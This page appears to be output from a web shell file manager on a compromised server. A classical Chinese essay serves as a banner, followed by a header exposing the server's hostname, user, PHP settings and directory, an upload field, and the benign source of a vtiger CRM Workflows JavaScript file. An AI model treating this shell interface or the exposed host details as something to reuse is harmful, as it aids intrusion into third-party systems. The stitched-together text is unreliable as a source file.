晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。 林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。 见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝) 既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。 南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。
|
Server : Apache System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64 User : rainic ( 1014) PHP Version : 7.4.33 Disable Function : exec,passthru,shell_exec,system Directory : /home/akaindir/public_html/crm/layouts/v7/modules/Settings/Workflows/resources/ |
Upload File : |
/*+***********************************************************************************
* The contents of this file are subject to the vtiger CRM Public License Version 1.0
* ("License"); You may not use this file except in compliance with the License
* The Original Code is: vtiger CRM Open Source
* The Initial Developer of the Original Code is vtiger.
* Portions created by vtiger are Copyright (C) vtiger.
* All Rights Reserved.
*************************************************************************************/
Settings_Vtiger_List_Js("Settings_Workflows_List_Js", {
triggerCreate : function(url) {
var selectedModule = jQuery('#moduleFilter').val();
if(selectedModule.length > 0) {
url += '&source_module='+selectedModule
}
window.location.href = url;
}
}, {
registerFilterChangeEvent: function () {
var thisInstance = this;
var container = this.getListViewContainer();
container.on('change', '#moduleFilter', function (e) {
jQuery('#pageNumber').val("1");
jQuery('#pageToJump').val('1');
jQuery('#orderBy').val('');
jQuery("#sortOrder").val('');
var params = {
module: app.getModuleName(),
parent: app.getParentModuleName(),
sourceModule: jQuery(e.currentTarget).val()
}
thisInstance.loadListViewRecords(params);
});
},
loadListViewRecords : function(urlParams) {
var self = this;
var aDeferred = jQuery.Deferred();
var defParams = this.getDefaultParams();
if(typeof urlParams == "undefined") {
urlParams = {};
}
urlParams = jQuery.extend(defParams, urlParams);
app.helper.showProgress();
app.request.pjax({data:urlParams}).then(function(err, res){
self.placeListContents(res);
app.helper.hideProgress();
jQuery("input[name='workflowstatus']").bootstrapSwitch();
aDeferred.resolve(res);
});
return aDeferred.promise();
},
registerRowClickEvent : function(){
var thisInstance = this;
var listViewContentDiv = this.getListViewContainer();
listViewContentDiv.on('click','.listViewEntries',function(e){
var elem = jQuery(e.currentTarget);
var targetElem = jQuery(e.target);
if(targetElem.closest('.bootstrap-switch').length != 0){
return false;
}
if(targetElem.closest('.deleteRecordButton').length != 0){
return;
}
var recordUrl = elem.data('recordurl');
if(typeof recordUrl == 'undefined') {
return;
}
var postData = thisInstance.getDefaultParams();
for(var key in postData) {
if(postData[key]) {
postData['return'+key] = postData[key];
delete postData[key];
} else {
delete postData[key];
}
}
window.location.href = recordUrl +'&'+ $.param(postData);
});
},
getListViewContainer: function () {
if (this.listViewContainer === false) {
this.listViewContainer = jQuery('#list-content');
}
return this.listViewContainer;
},
placeListContents : function(contents) {
var container = this.getListViewContainer();
container.html(contents);
this.registerSelect2ForModuleFilter();
},
registerSelect2ForModuleFilter : function() {
vtUtils.showSelect2ElementView(jQuery('#moduleFilter'), {
formatResult: function(result) {
var element = jQuery(result.element);
var count = element.data('count');
if (!count) {
count = 0;
}
return result.text + " - " + count;
},
formatSelection: function(result) {
var element = jQuery(result.element);
var count = element.data('count');
if (!count) {
count = 0;
}
return result.text
+ " <span class='label-success badge' style='display: inline;'>"
+ count
+ "</span>";
}
});
},
registerEventForChangeWorkflowState: function (listViewContainer) {
jQuery(listViewContainer).on('switchChange.bootstrapSwitch', "input[name='workflowstatus']", function (e) {
var currentElement = jQuery(e.currentTarget);
if(currentElement.val() == 'on'){
currentElement.attr('value','off');
} else {
currentElement.attr('value','on');
}
var params = {
module : app.getModuleName(),
parent : app.getParentModuleName(),
'action' : 'SaveAjax',
'record' : currentElement.data('id'),
'status' : currentElement.val()
}
app.request.post({
data:params
}).then(function(error,data){
if(data){
app.helper.showSuccessNotification({
message : app.vtranslate('JS_WORKFLOWS_STATUS_CHANGED')
});
}
});
});
},
getDefaultParams : function() {
var container = this.getListViewContainer();
var pageNumber = container.find('#pageNumber').val();
var module = this.getModuleName();
var parent = app.getParentModuleName();
var params = {
'module': module,
'parent': parent,
'page' : pageNumber,
'view' : "List",
'sourceModule' : jQuery('#moduleFilter').val(),
'search_value' : jQuery('.searchWorkflows').val(),
'search_key' : jQuery('.searchWorkflows').val()
}
return params;
},
registerSearch : function() {
var thisInstance = this;
var container = this.getListViewContainer();
container.on('keyup', '.searchWorkflows', function(e) {
if(e.which == 13) {
thisInstance.loadListViewRecords({page: 1});
}
});
},
/**
* Function shows and hide when user enter on a row and leave respectively
* @returns {undefined}
*/
registerShowDeleteActionOnHover: function(){
var listViewContentDiv = this.getListViewContainer();
listViewContentDiv.on('mouseover','tr.listViewEntries',function(e){
jQuery(e.currentTarget).find('.deleteRecordButton').css('opacity',0.6);
}).on('mouseleave','tr.listViewEntries',function(e){
jQuery(e.currentTarget).find('.deleteRecordButton').css('opacity',0);
});
},
registerEvents: function () {
var thisInstance = this;
this._super();
this.registerRowClickEvent();
this.registerFilterChangeEvent();
this.registerDeleteRecordClickEvent();
var listViewContainer = this.getListViewContainer();
this.registerShowDeleteActionOnHover();
if (listViewContainer.length > 0) {
jQuery("input[name='workflowstatus']").bootstrapSwitch();
this.registerEventForChangeWorkflowState(listViewContainer);
this.registerSearch();
this.registerSelect2ForModuleFilter();
}
}
});